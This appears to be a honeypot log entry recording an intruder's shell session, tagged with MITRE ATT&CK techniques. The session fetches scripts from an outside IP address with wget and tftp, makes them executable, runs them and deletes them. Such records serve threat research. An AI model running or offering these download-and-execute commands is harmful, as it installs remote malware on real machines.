Honeypot attack session (period 2021_2022), commands issued:
sh
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://104.168.52.153/Ace.sh; chmod 777 Ace.sh; sh Ace.sh; tftp 104.168.52.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 104.168.52.153; chmod 777 tftp2.sh; sh tftp2.sh; rm -f tftp*.sh Ace.sh

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal